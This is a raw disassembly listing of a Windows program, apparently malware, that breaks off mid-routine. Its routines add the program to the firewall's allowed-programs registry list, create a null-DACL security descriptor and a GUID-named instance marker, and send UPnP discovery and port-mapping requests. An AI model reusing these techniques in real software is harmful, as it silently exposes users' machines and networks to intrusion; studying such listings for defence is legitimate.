loc_443035:				; CODE XREF: sub_443004:loc_44302Aj
		test	esi, esi
		jnz	short loc_44303D
		xor	eax, eax
		jmp	short loc_443083
; ---------------------------------------------------------------------------


loc_44303D:				; CODE XREF: sub_443004+33j
		test	edi, edi
		jz	short loc_443057
		mov	eax, [esp+0Ch+arg_0]
		cmp	esi, [eax]
		jnz	short loc_44304F
		mov	edx, [esp+0Ch+arg_0]
		mov	[edx], edi


loc_44304F:				; CODE XREF: sub_443004+43j
		mov	eax, [esi+8]
		mov	[edi+8], eax
		jmp	short loc_443072
; ---------------------------------------------------------------------------


loc_443057:				; CODE XREF: sub_443004+3Bj
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, [esi+8]
		mov	[edx+4], eax
		mov	eax, [esp+0Ch+arg_0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_443072
		mov	edx, [esp+0Ch+arg_0]
		and	dword ptr [edx], 0


loc_443072:				; CODE XREF: sub_443004+51j
					; sub_443004+65j
		mov	eax, [esp+0Ch+arg_0]
		dec	dword ptr [eax+8]
		push	esi
		call	sub_441FF7
		pop	ecx
		xor	eax, eax
		inc	eax


loc_443083:				; CODE XREF: sub_443004+37j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_443004	endp


; =============== S U B	R O U T	I N E =======================================



sub_443087	proc near		; CODE XREF: DMN1:00443146p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_8]
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_0]
		mov	esi, [eax+4]
		jmp	short loc_4430A9
; ---------------------------------------------------------------------------


loc_443099:				; CODE XREF: sub_443087+24j
		mov	eax, [esp+0Ch+arg_4]
		sub	eax, [esi+10h]
		cmp	eax, ebx
		jnb	short loc_4430AD
		mov	edi, esi
		mov	esi, [esi+8]


loc_4430A9:				; CODE XREF: sub_443087+10j
		test	esi, esi
		jnz	short loc_443099


loc_4430AD:				; CODE XREF: sub_443087+1Bj
		test	esi, esi
		jnz	short loc_4430B5
		xor	eax, eax
		jmp	short loc_4430FB
; ---------------------------------------------------------------------------


loc_4430B5:				; CODE XREF: sub_443087+28j
		test	edi, edi
		jz	short loc_4430CF
		mov	eax, [esp+0Ch+arg_0]
		cmp	esi, [eax]
		jnz	short loc_4430C7
		mov	edx, [esp+0Ch+arg_0]
		mov	[edx], edi


loc_4430C7:				; CODE XREF: sub_443087+38j
		mov	eax, [esi+8]
		mov	[edi+8], eax
		jmp	short loc_4430EA
; ---------------------------------------------------------------------------


loc_4430CF:				; CODE XREF: sub_443087+30j
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, [esi+8]
		mov	[edx+4], eax
		mov	eax, [esp+0Ch+arg_0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_4430EA
		mov	edx, [esp+0Ch+arg_0]
		and	dword ptr [edx], 0


loc_4430EA:				; CODE XREF: sub_443087+46j
					; sub_443087+5Aj
		mov	eax, [esp+0Ch+arg_0]
		dec	dword ptr [eax+8]
		push	esi
		call	sub_441FF7
		pop	ecx
		xor	eax, eax
		inc	eax


loc_4430FB:				; CODE XREF: sub_443087+2Cj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_443087	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+0Ch]
		mov	si, [ebp+10h]
		xor	edi, edi
		jmp	short loc_443113
; ---------------------------------------------------------------------------


loc_443110:				; CODE XREF: DMN1:00443125j
		xor	edi, edi
		inc	edi


loc_443113:				; CODE XREF: DMN1:0044310Ej
		movzx	eax, si
		push	eax
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_443004
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_443110
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+0Ch]
		mov	esi, [ebp+10h]
		xor	edi, edi
		jmp	short loc_443141
; ---------------------------------------------------------------------------


loc_44313E:				; CODE XREF: DMN1:00443150j
		xor	edi, edi
		inc	edi


loc_443141:				; CODE XREF: DMN1:0044313Cj
		push	esi
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_443087
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_44313E
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		mov	ebx, [esp+0Ch]
		push	ebx
		call	sub_442F1C
		pop	ecx
		mov	eax, [esp+10h]
		mov	esi, [eax+4]
		jmp	short loc_443182
; ---------------------------------------------------------------------------


loc_44316F:				; CODE XREF: DMN1:00443184j
		movzx	eax, word ptr [esi]
		push	eax
		push	dword ptr [esi+4]
		push	ebx
		call	sub_442FCA
		add	esp, 0Ch
		mov	esi, [esi+8]


loc_443182:				; CODE XREF: DMN1:0044316Dj
		test	esi, esi
		jnz	short loc_44316F
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443189	proc near		; CODE XREF: sub_443217+98p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_411E24	; RegCreateKeyExA
		test	eax, eax
		jnz	short loc_4431DB
		push	[ebp+arg_C]
		call	sub_4485D1
		pop	ecx
		inc	eax
		push	eax
		push	[ebp+arg_C]
		push	1
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	dword_411E28	; RegSetValueExA
		push	[ebp+var_4]
		call	dword_411E2C	; RegCloseKey


loc_4431DB:				; CODE XREF: sub_443189+29j
		mov	esp, ebp
		pop	ebp
		retn
sub_443189	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4431DF	proc near		; CODE XREF: DMN1:004432FEp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_411E30	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_443213
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	dword_411E34	; RegDeleteKeyA
		push	[ebp+var_4]
		call	dword_411E2C	; RegCloseKey


loc_443213:				; CODE XREF: sub_4431DF+1Dj
		mov	esp, ebp
		pop	ebp
		retn
sub_4431DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443217	proc near		; CODE XREF: sub_447672:loc_4478A3p

var_20A		= byte ptr -20Ah
var_105		= byte ptr -105h

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	104h
		lea	eax, [ebp+var_105]
		push	eax
		push	0
		call	dword_411CDC	; GetModuleFileNameA
		mov	ebx, eax
		mov	[ebp+ebx+var_105], 0
		cmp	[ebp+var_105], 0
		jz	short loc_4432B7
		lea	eax, [ebp+var_105]
		push	eax
		lea	eax, [ebp+var_20A]
		push	eax
		call	sub_4485F1
		pop	ecx
		pop	ecx
		push	dword_4128A4
		lea	eax, [ebp+var_105]
		push	eax
		call	sub_448611
		pop	ecx
		pop	ecx
		push	offset aEnabled	; ":*:Enabled:"
		lea	eax, [ebp+var_105]
		push	eax
		call	sub_448611
		pop	ecx
		pop	ecx
		push	offset aNts	; "NTS"
		lea	eax, [ebp+var_105]
		push	eax
		call	sub_448611
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_105]
		push	eax
		lea	eax, [ebp+var_20A]
		push	eax
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"...
		push	80000002h
		call	sub_443189
		add	esp, 10h


loc_4432B7:				; CODE XREF: sub_443217+2Fj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_443217	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	ebx
		push	104h
		lea	eax, [ebp-105h]
		push	eax
		push	0
		call	dword_411CDC	; GetModuleFileNameA
		mov	ebx, eax
		mov	byte ptr [ebp+ebx-105h], 0
		cmp	byte ptr [ebp-105h], 0
		jz	short loc_443306
		lea	eax, [ebp-105h]
		push	eax
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"...
		push	80000002h
		call	sub_4431DF
		add	esp, 0Ch


loc_443306:				; CODE XREF: DMN1:004432EBj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44330B	proc near		; CODE XREF: sub_44335D+2p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		cmp	dword_411008, 0
		jnz	short loc_443358
		push	14h
		push	40h
		call	dword_411CE0	; LocalAlloc
		mov	ebx, eax
		push	1
		push	ebx
		call	dword_411E38	; InitializeSecurityDescriptor
		push	0
		push	0
		push	1
		push	ebx
		call	dword_411E3C	; SetSecurityDescriptorDacl
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], 1
		mov	dword_411008, 1


loc_443358:				; CODE XREF: sub_44330B+Ej
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44330B	endp


; =============== S U B	R O U T	I N E =======================================



sub_44335D	proc near		; CODE XREF: DMN1:00444C3Fp
					; sub_447672+23Fp

arg_0		= word ptr  4
arg_4		= word ptr  8

		push	ebx
		push	esi
		call	sub_44330B
		push	offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}"
		push	100h
		push	0
		push	4
		push	offset dword_412928
		push	0FFFFFFFFh
		call	dword_411CE4	; CreateFileMappingA
		mov	ebx, eax
		test	eax, eax
		jz	short loc_4433C7
		call	dword_411CE8	; RtlGetLastWin32Error
		cmp	eax, 0B7h
		jz	short loc_4433C5
		push	20h
		push	0
		push	0
		push	0F001Fh
		push	ebx
		call	dword_411CEC	; MapViewOfFile
		mov	esi, eax
		test	esi, esi
		jz	short loc_4433C5
		mov	ax, [esp+8+arg_0]
		mov	[esi], ax
		mov	ax, [esp+8+arg_4]
		mov	[esi+2], ax
		push	esi
		call	dword_411CF0	; UnmapViewOfFile


loc_4433C5:				; CODE XREF: sub_44335D+36j
					; sub_44335D+4Ej
		mov	eax, ebx


loc_4433C7:				; CODE XREF: sub_44335D+29j
		pop	esi
		pop	ebx
		retn
sub_44335D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4433CA	proc near		; CODE XREF: DMN1:00444C5Bp

arg_0		= word ptr  4
arg_4		= word ptr  8

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}"
		push	0
		push	0F001Fh
		call	dword_411CF4	; OpenFileMappingA
		mov	ebx, eax
		test	eax, eax
		jz	short loc_443423
		push	20h
		push	0
		push	0
		push	0F001Fh
		push	ebx
		call	dword_411CEC	; MapViewOfFile
		mov	esi, eax
		test	esi, esi
		jz	short loc_44341A
		mov	ax, [esp+0Ch+arg_0]
		mov	[esi], ax
		mov	ax, [esp+0Ch+arg_4]
		mov	[esi+2], ax
		push	esi
		call	dword_411CF0	; UnmapViewOfFile
		xor	edi, edi
		inc	edi


loc_44341A:				; CODE XREF: sub_4433CA+33j
		push	ebx
		call	dword_411CF8	; CloseHandle
		mov	eax, edi


loc_443423:				; CODE XREF: sub_4433CA+1Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4433CA	endp


; =============== S U B	R O U T	I N E =======================================



sub_443427	proc near		; CODE XREF: DMN1:0044590Bp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	si, si
		push	offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}"
		push	0
		push	0F001Fh
		call	dword_411CF4	; OpenFileMappingA
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_44344C
		mov	eax, 0FFFFh
		jmp	short loc_44348E
; ---------------------------------------------------------------------------


loc_44344C:				; CODE XREF: sub_443427+1Cj
		push	20h
		push	0
		push	0
		push	0F001Fh
		push	ebx
		call	dword_411CEC	; MapViewOfFile
		mov	edi, eax
		test	edi, edi
		jz	short loc_443484
		mov	si, [edi]
		test	si, si
		jz	short loc_443479
		mov	edx, [esp+0Ch+arg_0]
		mov	ax, [edi+2]
		mov	[edx], ax
		jmp	short loc_44347D
; ---------------------------------------------------------------------------


loc_443479:				; CODE XREF: sub_443427+43j
		mov	si, 0FFFFh


loc_44347D:				; CODE XREF: sub_443427+50j
		push	edi
		call	dword_411CF0	; UnmapViewOfFile


loc_443484:				; CODE XREF: sub_443427+3Bj
		push	ebx
		call	dword_411CF8	; CloseHandle
		movzx	eax, si


loc_44348E:				; CODE XREF: sub_443427+23j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_443427	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443492	proc near		; CODE XREF: sub_44352A+2Dp
					; sub_443A83+23Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_4485D1
		pop	ecx
		mov	edi, eax
		push	[ebp+var_4]
		call	sub_4485D1
		pop	ecx
		mov	ebx, eax
		jmp	short loc_4434D6
; ---------------------------------------------------------------------------


loc_4434B8:				; CODE XREF: sub_443492+46j
		push	ebx
		push	[ebp+var_4]
		push	ebx
		push	esi
		push	1
		push	400h
		call	dword_411CFC	; CompareStringA
		cmp	eax, 2
		jnz	short loc_4434D4
		mov	eax, esi
		jmp	short loc_4434DC
; ---------------------------------------------------------------------------


loc_4434D4:				; CODE XREF: sub_443492+3Cj
		inc	esi
		dec	edi


loc_4434D6:				; CODE XREF: sub_443492+24j
		cmp	edi, ebx
		jge	short loc_4434B8
		xor	eax, eax


loc_4434DC:				; CODE XREF: sub_443492+40j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_443492	endp


; =============== S U B	R O U T	I N E =======================================



sub_4434E3	proc near		; CODE XREF: sub_44352A+1C4p
					; sub_443817+12Cp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		call	dword_411CC4	; GetTickCount
		lea	esi, [eax+7D0h]


loc_4434F5:				; CODE XREF: sub_4434E3+40j
		push	ebx
		call	sub_4424C3
		pop	ecx
		test	eax, eax
		jle	short loc_443505
		xor	eax, eax
		inc	eax
		jmp	short loc_443527
; ---------------------------------------------------------------------------


loc_443505:				; CODE XREF: sub_4434E3+1Bj
		push	offset a_	; "."
		call	sub_4481E1
		pop	ecx
		push	12Ch
		call	dword_411D00	; Sleep
		call	dword_411CC4	; GetTickCount
		cmp	eax, esi
		jb	short loc_4434F5
		xor	eax, eax


loc_443527:				; CODE XREF: sub_4434E3+20j
		pop	esi
		pop	ebx
		retn
sub_4434E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44352A	proc near		; CODE XREF: sub_443A83+337p

var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= byte ptr -45Ch
var_5C		= word ptr -5Ch
var_5A		= word ptr -5Ah
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 468h
		push	ebx
		push	esi
		push	edi
		push	10h
		push	0
		lea	eax, [ebp+var_5C]
		push	eax
		call	sub_448551
		add	esp, 0Ch
		mov	[ebp+var_5C], 2
		xor	di, di
		push	offset aHttp	; "http://"
		push	[ebp+arg_0]
		call	sub_443492
		pop	ecx
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_44356C
		xor	eax, eax
		jmp	loc_443810
; ---------------------------------------------------------------------------


loc_44356B:				; CODE XREF: sub_44352A+4Aj
		inc	ebx


loc_44356C:				; CODE XREF: sub_44352A+38j
		mov	al, [ebx]
		test	al, al
		jz	short loc_443576
		cmp	al, 2Fh
		jnz	short loc_44356B


loc_443576:				; CODE XREF: sub_44352A+46j
		jmp	short loc_443579
; ---------------------------------------------------------------------------


loc_443578:				; CODE XREF: sub_44352A+57j
		inc	ebx


loc_443579:				; CODE XREF: sub_44352A:loc_443576j
		mov	al, [ebx]
		test	al, al
		jz	short loc_443583
		cmp	al, 2Fh
		jz	short loc_443578


loc_443583:				; CODE XREF: sub_44352A+53j
		xor	esi, esi
		jmp	short loc_44359B
; ---------------------------------------------------------------------------


loc_443587:				; CODE XREF: sub_44352A+7Dj
		cmp	esi, 3Fh
		jb	short loc_443593
		xor	eax, eax
		jmp	loc_443810
; ---------------------------------------------------------------------------


loc_443593:				; CODE XREF: sub_44352A+60j
		mov	al, [ebx]
		mov	[ebp+esi+var_40], al
		inc	esi
		inc	ebx


loc_44359B:				; CODE XREF: sub_44352A+5Bj
		mov	al, [ebx]
		test	al, al
		jz	short loc_4435A9
		cmp	al, 3Ah
		jz	short loc_4435A9
		cmp	al, 2Fh
		jnz	short loc_443587


loc_4435A9:				; CODE XREF: sub_44352A+75j
					; sub_44352A+79j
		mov	[ebp+esi+var_40], 0
		cmp	byte ptr [ebx],	3Ah
		jz	short loc_4435BA
		xor	eax, eax
		jmp	loc_443810
; ---------------------------------------------------------------------------


loc_4435BA:				; CODE XREF: sub_44352A+87j
		inc	ebx
		cmp	byte ptr [ebx],	0
		jnz	short loc_4435E1
		xor	eax, eax
		jmp	loc_443810
; ---------------------------------------------------------------------------


loc_4435C7:				; CODE XREF: sub_44352A+C3j
		movzx	eax, di
		lea	eax, [eax+eax*4]
		add	eax, eax
		mov	di, ax
		movzx	eax, di
		movsx	edx, byte ptr [ebx]
		sub	edx, 30h
		add	eax, edx
		mov	di, ax
		inc	ebx


loc_4435E1:				; CODE XREF: sub_44352A+94j
		mov	al, [ebx]
		test	al, al
		jz	short loc_4435EF
		cmp	al, 30h
		jl	short loc_4435EF
		cmp	al, 39h
		jle	short loc_4435C7


loc_4435EF:				; CODE XREF: sub_44352A+BBj
					; sub_44352A+BFj
		cmp	di, 1
		jnb	short loc_4435FD
		xor	eax, eax
		jmp	loc_443810
; ---------------------------------------------------------------------------


loc_4435FC:				; CODE XREF: sub_44352A+DBj
		inc	ebx


loc_4435FD:				; CODE XREF: sub_44352A+C9j
		mov	al, [ebx]
		test	al, al
		jz	short loc_443607
		cmp	al, 2Fh
		jnz	short loc_4435FC


loc_443607:				; CODE XREF: sub_44352A+D7j
		cmp	byte ptr [ebx],	0
		jnz	short loc_443613
		xor	eax, eax
		jmp	loc_443810
; ---------------------------------------------------------------------------


loc_443613:				; CODE XREF: sub_44352A+E0j
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_447C89	; inet_addr
		mov	[ebp+var_58], eax
		movzx	eax, di
		push	eax
		call	sub_447C59	; htons
		mov	[ebp+var_5A], ax
		movzx	eax, di
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		push	offset aHttpDiscoveryR ; "HTTP discovery request: [%s:%i]...\n"
		call	sub_4481E1
		add	esp, 0Ch
		push	6
		push	1
		push	2
		call	sub_447C3B	; socket
		mov	[ebp+var_44], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_44365A
		and	[ebp+var_44], 0


loc_44365A:				; CODE XREF: sub_44352A+12Aj
		cmp	[ebp+var_44], 0
		jnz	short loc_443667
		xor	eax, eax
		jmp	loc_443810
; ---------------------------------------------------------------------------


loc_443667:				; CODE XREF: sub_44352A+134j
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_447C89	; inet_addr
		movzx	edx, di
		push	edx
		push	eax
		push	[ebp+var_44]
		call	sub_4424E8
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_443694
		push	[ebp+var_44]
		call	sub_442443
		pop	ecx
		xor	eax, eax
		jmp	loc_443810
; ---------------------------------------------------------------------------


loc_443694:				; CODE XREF: sub_44352A+158j
		movzx	eax, di
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		push	ebx
		push	offset aGetSHttp1_1Hos ; "GET %s HTTP/1.1\r\nHOST: %s:%i\r\nACCEPT-LA"...
		lea	eax, [ebp+var_45C]
		push	eax
		call	sub_448241
		add	esp, 14h
		lea	eax, [ebp+var_45C]
		push	eax
		call	sub_4485D1
		pop	ecx
		mov	[ebp+var_48], eax
		push	[ebp+var_48]
		lea	eax, [ebp+var_45C]
		push	eax
		push	[ebp+var_44]
		call	sub_442708
		add	esp, 0Ch
		cmp	eax, [ebp+var_48]
		jz	short loc_4436EB
		push	[ebp+var_44]
		call	sub_442443
		pop	ecx
		xor	eax, eax
		jmp	loc_443810
; ---------------------------------------------------------------------------


loc_4436EB:				; CODE XREF: sub_44352A+1AFj
		push	[ebp+var_44]
		call	sub_4434E3
		pop	ecx
		push	10000h
		call	sub_441FC9
		pop	ecx
		mov	[ebp+var_4C], eax
		push	0FFFFh
		push	[ebp+var_4C]
		push	[ebp+var_44]
		call	sub_442694
		add	esp, 0Ch
		mov	[ebp+var_48], eax
		test	eax, eax
		jnz	short loc_443753
		push	[ebp+var_44]
		call	sub_4424C3
		pop	ecx
		mov	[ebp+var_468], eax
		cmp	eax, 0FFFFh
		jle	short loc_44373C
		mov	[ebp+var_468], 0FFFFh


loc_44373C:				; CODE XREF: sub_44352A+206j
		push	[ebp+var_468]
		push	[ebp+var_4C]
		push	[ebp+var_44]
		call	sub_44265D
		add	esp, 0Ch
		mov	[ebp+var_48], eax


loc_443753:				; CODE XREF: sub_44352A+1F0j
		push	[ebp+var_48]
		movzx	eax, di
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		push	offset aHttpDiscover_0 ; "HTTP discovery request [%s:%i]: receive"...
		call	sub_4481E1
		add	esp, 10h
		cmp	[ebp+var_48], 1
		jge	short loc_44378A
		push	[ebp+var_4C]
		call	sub_441FF7
		pop	ecx
		push	[ebp+var_44]
		call	sub_442443
		pop	ecx
		xor	eax, eax
		jmp	loc_443810
; ---------------------------------------------------------------------------


loc_44378A:				; CODE XREF: sub_44352A+245j
		push	offset asc_40F5F0 ; "\n"
		push	[ebp+var_4C]
		call	sub_448641
		pop	ecx
		pop	ecx
		mov	[ebp+var_460], eax
		test	eax, eax
		jnz	short loc_4437B9
		push	[ebp+var_4C]
		call	sub_441FF7
		pop	ecx
		push	[ebp+var_44]
		call	sub_442443
		pop	ecx
		xor	eax, eax
		jmp	short loc_443810
; ---------------------------------------------------------------------------


loc_4437B9:				; CODE XREF: sub_44352A+277j
		push	offset a200	; "200"
		push	[ebp+var_4C]
		call	sub_448641
		pop	ecx
		pop	ecx
		mov	[ebp+var_464], eax
		test	eax, eax
		jz	short loc_4437DA
		cmp	eax, [ebp+var_460]
		jbe	short loc_4437F0


loc_4437DA:				; CODE XREF: sub_44352A+2A6j
		push	[ebp+var_4C]
		call	sub_441FF7
		pop	ecx
		push	[ebp+var_44]
		call	sub_442443
		pop	ecx
		xor	eax, eax
		jmp	short loc_443810
; ---------------------------------------------------------------------------


loc_4437F0:				; CODE XREF: sub_44352A+2AEj
		push	[ebp+var_44]
		call	sub_442443
		pop	ecx
		lea	eax, [ebp+var_40]
		push	eax
		push	[ebp+arg_4]
		call	sub_4485F1
		pop	ecx
		pop	ecx
		mov	edx, [ebp+arg_8]
		mov	[edx], di
		mov	eax, [ebp+var_4C]


loc_443810:				; CODE XREF: sub_44352A+3Cj
					; sub_44352A+64j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44352A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443817	proc near		; CODE XREF: sub_443A83+50Fp
					; sub_443A83+53Dp

var_2014	= dword	ptr -2014h
var_2010	= dword	ptr -2010h
var_200C	= dword	ptr -200Ch
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= word ptr  10h
arg_C		= dword	ptr  14h
arg_10		= word ptr  18h
arg_14		= word ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2014h
		call	sub_4486B1
		push	ebx
		push	esi
		push	edi
		movzx	eax, [ebp+arg_10]
		push	eax
		movzx	eax, [ebp+arg_14]
		push	eax
		push	offset aSEnvelopeXmlns ; "<s:Envelope\r\nxmlns:s=\"http://schemas.xm"...
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_448241
		add	esp, 10h
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_4485D1
		pop	ecx
		mov	[ebp+var_200C],	eax
		cmp	[ebp+arg_0], 0
		jz	short loc_443885
		push	[ebp+var_200C]
		movzx	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_C]
		push	offset aMPostSHttp1_1H ; "M-POST %s HTTP/1.1\r\nHOST: %s:%i\r\nCONTEN"...
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_448241
		add	esp, 18h
		jmp	short loc_4438AA
; ---------------------------------------------------------------------------


loc_443885:				; CODE XREF: sub_443817+45j
		push	[ebp+var_200C]
		movzx	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_C]
		push	offset aPostSHttp1_1Ho ; "POST %s HTTP/1.1\r\nHOST: %s:%i\r\nCONTENT-"...
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_448241
		add	esp, 18h


loc_4438AA:				; CODE XREF: sub_443817+6Cj
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_448611
		pop	ecx
		pop	ecx
		movzx	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	offset aHttpAddmapRequ ; "HTTP AddMap request: [%s:%i]...\n"
		call	sub_4481E1
		add	esp, 0Ch
		call	sub_4422DA
		mov	edi, eax
		test	eax, eax
		jz	loc_443A7C
		push	[ebp+arg_4]
		call	sub_447C89	; inet_addr
		movzx	edx, [ebp+arg_8]
		push	edx
		push	eax
		push	edi
		call	sub_4424E8
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_44390C
		push	edi
		call	sub_442443
		pop	ecx
		xor	eax, eax
		jmp	loc_443A7C
; ---------------------------------------------------------------------------


loc_44390C:				; CODE XREF: sub_443817+E5j
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_4485D1
		pop	ecx
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_1008]
		push	eax
		push	edi
		call	sub_442708
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jz	short loc_443942
		push	edi
		call	sub_442443
		pop	ecx
		xor	eax, eax
		jmp	loc_443A7C
; ---------------------------------------------------------------------------


loc_443942:				; CODE XREF: sub_443817+11Bj
		push	edi
		call	sub_4434E3
		pop	ecx
		push	10000h
		call	sub_441FC9
		pop	ecx
		mov	[ebp+var_8], eax
		push	0FFFFh
		push	[ebp+var_8]
		push	edi
		call	sub_442694
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		test	eax, eax
		jnz	short loc_4439A2
		push	edi
		call	sub_4424C3
		pop	ecx
		mov	[ebp+var_2014],	eax
		cmp	eax, 0FFFFh
		jle	short loc_44398D
		mov	[ebp+var_2014],	0FFFFh


loc_44398D:				; CODE XREF: sub_443817+16Aj
		push	[ebp+var_2014]
		push	[ebp+var_8]
		push	edi
		call	sub_44265D
		add	esp, 0Ch
		mov	[ebp+var_4], eax


loc_4439A2:				; CODE XREF: sub_443817+156j
		push	[ebp+var_4]
		movzx	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	offset aHttpAddmapRe_0 ; "HTTP AddMap request [%s:%i]: received: "...
		call	sub_4481E1
		add	esp, 10h
		cmp	[ebp+var_4], 1
		jge	short loc_4439D7
		push	[ebp+var_8]
		call	sub_441FF7
		pop	ecx
		push	edi
		call	sub_442443
		pop	ecx
		xor	eax, eax
		jmp	loc_443A7C
; ---------------------------------------------------------------------------


loc_4439D7:				; CODE XREF: sub_443817+1A7j
		push	offset asc_40F5F0 ; "\n"
		push	[ebp+var_8]
		call	sub_448641
		pop	ecx
		pop	ecx
		mov	[ebp+var_2010],	eax
		test	eax, eax
		jnz	short loc_443A04
		push	[ebp+var_8]
		call	sub_441FF7
		pop	ecx
		push	edi
		call	sub_442443
		pop	ecx
		xor	eax, eax
		jmp	short loc_443A7C
; ---------------------------------------------------------------------------


loc_443A04:				; CODE XREF: sub_443817+1D7j
		mov	ebx, [ebp+var_8]
		jmp	short loc_443A0A
; ---------------------------------------------------------------------------


loc_443A09:				; CODE XREF: sub_443817+1FBj
